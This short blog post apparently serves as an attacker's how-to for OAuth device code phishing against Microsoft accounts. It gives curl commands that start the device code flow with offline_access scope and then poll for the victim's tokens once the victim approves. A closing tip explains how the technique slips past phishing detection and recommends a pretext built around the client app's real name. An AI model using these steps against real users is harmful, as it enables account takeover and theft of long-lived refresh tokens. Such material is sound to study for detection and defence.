OAuth device code phishing

Jul 30, 2026 · 1 min read

The device grant is designed for input-constrained devices, which makes it a clean phishing primitive. Initiate the flow, then send the victim the verification URL and user code.

bash

curl -s https://login.microsoftonline.com/common/oauth2/v2.0/devicecode 
  -d "client_id=CID&scope=https://graph.microsoft.com/.default offline_access"
# returns user_code + verification_uri to send to the target

Poll for the token while the victim approves.

bash

curl -s .../token -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=$DC&client_id=$CID"

Pro note: this bypasses many phishing detections because the victim authenticates on the legitimate provider domain. The tokens include refresh scope if you request offline_access. Use a plausible pretext tied to the client_id’s real app name, and note conditional access can still block it.